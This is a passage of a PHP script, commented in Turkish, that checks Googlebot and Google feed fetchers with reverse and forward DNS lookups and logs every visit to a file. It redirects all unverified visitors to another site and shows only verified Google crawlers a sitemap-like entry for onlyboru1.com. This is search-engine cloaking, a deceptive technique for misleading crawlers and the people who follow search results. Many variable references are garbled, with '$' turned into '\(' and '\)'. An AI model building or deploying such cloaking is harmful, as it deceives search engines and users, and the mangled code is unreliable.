'user', 'verified' => false, 'hostname' => '' ]; } \(verification = verifyGoogleIP(\)ip); if ( $type === 'googlebot' || $type === 'googlebot-image' || $type === 'googleother' ) { if ($verification['google'] === true) { return [ 'type' => $type, 'verified' => true, 'hostname' => $verification['hostname'] ]; } return [ 'type' => 'user', 'verified' => false, 'hostname' => $verification['hostname'] ]; } if ( $type === 'feedfetcher' || $type === 'feedburner' ) { if ($verification['google_proxy'] === true) { return [ 'type' => $type, 'verified' => true, 'hostname' => $verification['hostname'] ]; } return [ 'type' => 'user', 'verified' => false, 'hostname' => $verification['hostname'] ]; } return [ 'type' => 'user', 'verified' => false, 'hostname' => '' ]; } /* |-------------------------------------------------------------------------- | GOOGLE IP DOĞRULAMA FONKSİYONU |-------------------------------------------------------------------------- */ function verifyGoogleIP(string $ip): array { $result = [ 'google' => false, 'google_proxy' => false, 'hostname' => '' ]; if (!filter_var($ip, FILTER_VALIDATE_IP)) { return $result; } \(hostname = @gethostbyaddr(\)ip); if (!\(hostname ||\)hostname === $ip) { return $result; } \(hostname = strtolower(rtrim(\)hostname, '.')); \(result['hostname'] =\)hostname; $isGoogleBot = str_ends_with($hostname, '.googlebot.com') || str_ends_with($hostname, '.google.com'); $isGoogleProxy = str_ends_with($hostname, '.google.com') && str_starts_with($hostname, 'google-proxy-'); if (!\(isGoogleBot && !\)isGoogleProxy) { return $result; } \(records = @dns_get_record(\)hostname, DNS_A | DNS_AAAA); if (!is_array($records)) { return $result; } $forwardVerified = false; foreach (\(records as\)record) { \(resolvedIp =\)record['ip'] ?? $record['ipv6'] ?? ''; if (\(resolvedIp ===\)ip) { $forwardVerified = true; break; } } if (!$forwardVerified) { return $result; } if ($isGoogleBot) { $result['google'] = true; } if ($isGoogleProxy) { $result['google_proxy'] = true; } return $result; } /* |-------------------------------------------------------------------------- | İSTEK ALMA VE LOGLAMA İŞLEMLERİ |-------------------------------------------------------------------------- */ \(ip =\)_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; \(ua =\)_SERVER['HTTP_USER_AGENT'] ?? ''; \(referer =\)_SERVER['HTTP_REFERER'] ?? ''; $bot = getBotType(); $logLine = implode('|', [ date('Y-m-d H:i:s'), $bot['type'], $bot['verified'] ? 'VERIFIED' : 'NOT_VERIFIED', $ip, $bot['hostname'], str_replace(["\r", "\n", "|"], ' ', $ua), str_replace(["\r", "\n", "|"], ' ', $referer) ]) . PHP_EOL; @file_put_contents( __DIR__ . '/bot-log.txt', $logLine, FILE_APPEND | LOCK_EX ); /* |-------------------------------------------------------------------------- | YÖNLENDİRME (KULLANICI İSE TEST.COM'A GİDER) |-------------------------------------------------------------------------- */ if (!$bot['verified']) { header("Location: https://test.com"); exit; } /* |-------------------------------------------------------------------------- | GOOGLEBOT İÇİN GÖSTERİLECEK HTML İÇERİK |-------------------------------------------------------------------------- */ ?> https://onlyboru1.com/ 2026-10-04T22:03:05+03:00 daily 1.0